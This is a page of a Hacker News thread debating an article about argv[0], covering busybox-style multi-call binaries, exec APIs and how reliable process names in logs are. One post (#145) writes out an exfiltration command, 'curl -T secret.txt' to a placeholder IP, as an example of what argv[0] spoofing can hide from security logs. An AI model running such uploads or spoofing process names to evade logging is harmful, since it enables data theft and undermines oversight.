Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Why bother with argv[0]?

wietzebeukema.nl

Post reply on HN
Print view View original

141–150 of 277 posts

Re: Why bother with argv[0]?

#141

Post by jimrandomh »

wietze wrote: post #53
yjftsjthsd-h wrote: post #44

So obviously claiming that there's no good reason for process to read argv[0] is either demonstrating the author's ignorance or needs a much stronger defense; I'd be fascinated to hear how they think busybox should work on an OpenWrt box with a 16MB root filesystem. However , I am willing to consider the discussion about whether there could be merit to restricting the ability to write that value; I could imagine a sy…

For busybox/toybox the argv[0] thing is great, and seems to be the prime example of why argv[0] shouldn't go - yet it is a bit of an anomaly in how argv[0] is used. If there really is a need for having one executable that comprises multiple commands, is `busybox whoami` instead of `whoami` so much more effort? To me, that would make more sense in terms of what is going on; aliases could be used if one-word commands a…

That's fine for when users are interactively typing commands, but it doesn't work when the command is being run by a non-busybox program which expects commands to exist in the standard locations.

Re: Why bother with argv[0]?

#142

Post by gwbas1c »

yjftsjthsd-h wrote: post #44

So obviously claiming that there's no good reason for process to read argv[0] is either demonstrating the author's ignorance or needs a much stronger defense; I'd be fascinated to hear how they think busybox should work on an OpenWrt box with a 16MB root filesystem. However , I am willing to consider the discussion about whether there could be merit to restricting the ability to write that value; I could imagine a sy…

I agree, I think the author really shot themselves in the foot when they, at length, criticized the merits of a program using argv[0].

The real point are the security flaws in a calling program setting argv[0], because it really, really should be set by the operating system. (As a programmer, I shouldn't have to defend against these kinds of attacks. The OS should block it.)

The criticisms of valid programming practices, IMO, hurt the author's credibility and distract from the real point of the article.

Re: Why bother with argv[0]?

#143

Post by gwbas1c »

st_goliath wrote: post #28
dcminter wrote: post #14

This lost me at "goes against modern design principles" without citing what principle(s) the author had in mind that would proscribe it.

Given the tone and assumptions the article makes, and the things that are explicitly explained, this seems to be one of those articles where a novice learnt something new and then decided to write an article about it, despite not having fully grasped the concept yet. As a result, the author has such strange, absolute positions, calling it a legacy that should be abolished (only tangentially knowing some actual use ca…

The security issues the author points out later in the article do have merit.

Unfortunately, the author shot their credibility in the foot by perseverating on use of argv[0]; instead of glossing over it and getting to the point.

Re: Why bother with argv[0]?

#144

Post by pdonis »

toast0 wrote: post #102
rzwitserloot wrote: post #58

Earlier quoted context omitted.

That seems unnecessarily harsh. I don't think that's the gist of the article, but the throwaway suggestion of 'just make lots of copies, who cares about diskspace' is insufficient and thus distracts. It's.. a single line about solutions in an article that isn't _about_ solving problems, it's about highlighting a problem exists and that it's worth solving. I read the article more as: There is __often__ no good reason…

> Show the actual file path, and always an absolute one - that way you avoid confusion about which executable you're actually running, and it's just as readable if not more readable for every app _except_ those who care about argv[0], e.g. if you ran `/bin/dd` and it's actually busybox, in taskman you'd see `/bin/busybox` instead which'd be worse than seeing 'dd'. This was kind of in the middle of your complaint abou…

> On a unix filesystem, a file that's hard linked with multiple names has no single 'actual name'.

But each of the multiple names points to the same actual data, so it doesn't matter which one is shown. The obvious choice would be to show the absolute path that the OS used to load the executable.

Re: Why bother with argv[0]?

#145

Post by gwbas1c »

The author's extensive criticisms of using argv[0] are a distraction from the main point of the article:

Summary: By manipulating argv[0], a malicious program can hide what its doing in security logs. For example, a malicious program can make "curl -T secret.txt 123.45.67.89" look like "curl localhost | grep -T secret.txt 123.45.67.89" in security logs. A mallicious program can also use very large argv[0] values as a DOS attack on system logging; or to truncate malicious arguments.

IMO, operating systems should block this practice.

Unfortunately, the author's extensive criticism of programs reading argv[0] hurt the author's credibility before most people get to the real point of the article.

Re: Why bother with argv[0]?

#146

Post by oguz-ismail »

teddyh wrote: post #137
oguz-ismail wrote: post #133

Earlier quoted context omitted.

The shell, of course. It just might not be (because it doesn't have to be) located in /bin.

I’m pretty sure that /bin/sh is mandated by POSIX.

It's not. See https://pubs.opengroup.org/onlinepubs/9799919799/utilities/s...

    Applications should note that the standard PATH to the shell cannot be assumed to be either /bin/sh or /usr/bin/sh, and should be determined by interrogation of the PATH returned by getconf PATH, ensuring that the returned pathname is an absolute pathname and not a shell built-in.

Re: Why bother with argv[0]?

#147

Post by magicalhippo »

skobes wrote: post #118
magicalhippo wrote: post #61

Earlier quoted context omitted.

Not the way I understand it. In the execv documentation[1], you pass the program name twice: int execv(const char *path, char *const argv[]); The argument path points to a pathname that identifies the new process image file. The argument argv is an array of character pointers to null-terminated strings. [..] The value in argv[0] should point to a filename string that is associated with the process being started by on…

> Windows does not allow you to do that, AFAIK. It does though, using the lpCommandLine parameter to CreateProcess as I said. CreateProcess("main.exe", "foobar", ...) argv[0] is "foobar"

I stand corrected. Been ages since I used Win32 API a lot, and I realized I can't recall using both of those arguments when calling CreateProcess.

Re: Why bother with argv[0]?

#148

Post by duped »

sweetjuly wrote: post #128
duped wrote: post #23

Earlier quoted context omitted.

Don't do this - if you (reliably) want the path to the current executable there is no portable way to do it, but on Linux you need to readlink /proc/self/exe and on MacOS you call _NSGetExecutablePath. I forget the API on Windows.

Note though that both of these solutions are racy and so should not be done if "someone symlinking really fast and swapping the binaries" is in your threat model. Linux proc/self is safe though, just not the result from readlink.

Well that's true, but also something that can't be addressed within a currently running process afaik.

Re: Why bother with argv[0]?

#149

Post by tsujamin »

cryptonector wrote: post #89
js2 wrote: post #67

> Today however, disk space is no longer considered an issue; this is evidenced by macOS Sonoma, where shutdown and reboot are two separate executables. Try running `ls -li /usr/bin` on macOS and you might be surprised to learn that all of these are a single executable: DeRez, GetFileInfo, Rez, SetFile, SplitForks, ar, as, asa, ... yacc. There's 77 different entries in `/usr/bin` (including `git` and `python3`) that…

Besides, disk space is not an issue, but container image size still can be an issue because those have to be copied around the network, and it's easy to have thousands of 10GB images consume more disk space than you might have thought you'd need.

Surely the duplication would be (mostly) compressed away?

Re: Why bother with argv[0]?

#150

Post by [deleted] »

surajrmal wrote: post #78
yjftsjthsd-h wrote: post #44

So obviously claiming that there's no good reason for process to read argv[0] is either demonstrating the author's ignorance or needs a much stronger defense; I'd be fascinated to hear how they think busybox should work on an OpenWrt box with a 16MB root filesystem. However , I am willing to consider the discussion about whether there could be merit to restricting the ability to write that value; I could imagine a sy…

You can write a 2 liner shell script that prepends busybox per command. I've done this on a 16MiB restricted system and while ate maybe 4k per command, it wasn't a big deal with only 20-30 commands.

[deleted]
Post reply on HN